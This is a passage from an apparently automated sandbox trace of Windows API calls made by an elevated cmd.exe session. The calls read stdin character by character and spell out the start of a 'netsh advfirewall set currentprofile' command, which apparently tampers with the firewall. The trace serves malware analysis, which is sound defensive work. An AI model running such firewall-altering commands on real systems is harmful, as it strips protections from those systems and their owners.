ReturnLength=0x24f690 | out: TokenInformation=0x24f698, ReturnLength=0x24f690) returned 0x0 [0198.138] NtClose (Handle=0x50) returned 0x0 [0198.138] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x24f660, nSize=0x0, Arguments=0x24f668 | out: lpBuffer="韀B") returned 0xf [0198.138] GetProcessHeap () returned 0x410000 [0198.138] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x218) returned 0x429be0 [0198.139] GetConsoleTitleW (in: lpConsoleTitle=0x24f6b0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0198.139] wcsstr (_Str="C:\\Windows\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0198.139] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0198.140] GetProcessHeap () returned 0x410000 [0198.140] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x429be0 | out: hHeap=0x410000) returned 1 [0198.140] LocalFree (hMem=0x4297c0) returned 0x0 [0198.140] GetProcessHeap () returned 0x410000 [0198.140] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x42aa10 | out: hHeap=0x410000) returned 1 [0198.141] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x24f398 | out: _Buffer="\r\n") returned 2 [0198.141] _get_osfhandle (_FileHandle=1) returned 0xcc [0198.141] GetFileType (hFile=0xcc) returned 0x3 [0198.141] _get_osfhandle (_FileHandle=1) returned 0xcc [0198.141] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0198.141] WriteFile (in: hFile=0xcc, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x24f368, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x24f368*=0x2, lpOverlapped=0x0) returned 1 [0198.141] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0198.141] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0198.142] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x24f3a8 | out: _Buffer="C:\\Windows\\system32") returned 19 [0198.142] _vsnwprintf (in: _Buffer=0x49f8eb86, _BufferCount=0x3eb, _Format="%c", _ArgList=0x24f3a8 | out: _Buffer=">") returned 1 [0198.142] _get_osfhandle (_FileHandle=1) returned 0xcc [0198.142] GetFileType (hFile=0xcc) returned 0x3 [0198.142] _get_osfhandle (_FileHandle=1) returned 0xcc [0198.142] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32>", lpUsedDefaultChar=0x0) returned 21 [0198.142] WriteFile (in: hFile=0xcc, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x24f398, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x24f398*=0x14, lpOverlapped=0x0) returned 1 [0198.142] _get_osfhandle (_FileHandle=0) returned 0xc0 [0198.142] GetFileType (hFile=0xc0) returned 0x3 [0198.142] _get_osfhandle (_FileHandle=0) returned 0xc0 [0198.142] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.142] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0198.142] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0198.142] _get_osfhandle (_FileHandle=0) returned 0xc0 [0198.142] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.143] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0198.143] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0198.143] _get_osfhandle (_FileHandle=0) returned 0xc0 [0198.143] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.143] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0198.143] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0198.143] _get_osfhandle (_FileHandle=0) returned 0xc0 [0198.143] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.143] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0198.143] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0198.143] _get_osfhandle (_FileHandle=0) returned 0xc0 [0198.143] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.143] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0198.143] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="h") returned 1 [0198.143] _get_osfhandle (_FileHandle=0) returned 0xc0 [0198.143] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.143] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0198.143] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0198.143] _get_osfhandle (_FileHandle=0) returned 0xc0 [0198.143] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.143] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0198.143] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0198.143] _get_osfhandle (_FileHandle=0) returned 0xc0 [0198.143] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.143] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0198.144] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0198.144] _get_osfhandle (_FileHandle=0) returned 0xc0 [0198.144] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.144] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0198.144] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="v") returned 1 [0198.144] _get_osfhandle (_FileHandle=0) returned 0xc0 [0198.144] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.144] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0198.144] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0198.144] _get_osfhandle (_FileHandle=0) returned 0xc0 [0198.144] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.144] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0198.144] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0198.144] _get_osfhandle (_FileHandle=0) returned 0xc0 [0198.144] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.144] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0198.144] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0198.144] _get_osfhandle (_FileHandle=0) returned 0xc0 [0198.144] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.144] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0198.144] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0198.144] _get_osfhandle (_FileHandle=0) returned 0xc0 [0198.145] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.145] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0198.145] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="w") returned 1 [0198.145] _get_osfhandle (_FileHandle=0) returned 0xc0 [0198.145] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.145] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0198.145] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0198.145] _get_osfhandle (_FileHandle=0) returned 0xc0 [0198.145] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.145] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0198.145] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0198.145] _get_osfhandle (_FileHandle=0) returned 0xc0 [0198.145] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.145] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0198.145] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e340, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0198.145] _get_osfhandle (_FileHandle=0) returned 0xc0 [0198.145] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.145] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0198.145] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e342, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0198.145] _get_osfhandle (_FileHandle=0) returned 0xc0 [0198.145] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.145] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0198.146] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e344, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0198.146] _get_osfhandle (_FileHandle=0) returned 0xc0 [0198.146] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.146] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0198.146] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e346, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0198.146] _get_osfhandle (_FileHandle=0) returned 0xc0 [0198.146] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.146] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0198.146] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e348, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0198.146] _get_osfhandle (_FileHandle=0) returned 0xc0 [0198.146] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.146] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0198.146] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34a, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0198.146] _get_osfhandle (_FileHandle=0) returned 0xc0 [0198.146] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.146] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0198.146] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34c, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0198.146] _get_osfhandle (_FileHandle=0) returned 0xc0 [0198.146] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.146] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0198.146] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0198.146] _get_osfhandle (_FileHandle=0) returned 0xc0 [0198.146] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.146] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0198.146] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e350, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0198.147] _get_osfhandle (_FileHandle=0) returned 0xc0 [0198.147] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.147] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0198.147] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e352, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0198.147] _get_osfhandle (_FileHandle=0) returned 0xc0 [0198.147] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.147] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0198.147] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e354, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0198.147] _get_osfhandle (_FileHandle=0) returned 0xc0 [0198.147] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.147] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0198.147] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e356, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0198.147] _get_osfhandle (_FileHandle=0) returned 0xc0 [0198.147] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.147] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0198.147] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e358, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0198.147] _get_osfhandle (_FileHandle=0) returned 0xc0 [0198.147] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.147] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0198.147] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e35a, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0198.147] _get_osfhandle (_FileHandle=0) returned 0xc0 [0198.147] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.147] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0198.147] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e35c, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0198.147] _get_osfhandle (_FileHandle=0) returned 0xc0 [0198.147] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.148] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0198.148] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e35e, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0198.148] _get_osfhandle (_FileHandle=0) returned 0xc0 [0198.148] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.148] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0198.148] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e360, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0198.148] _get_osfhandle (_FileHandle=0) returned 0xc0 [0198.148] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.148] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0198.148] MultiByteToWideChar 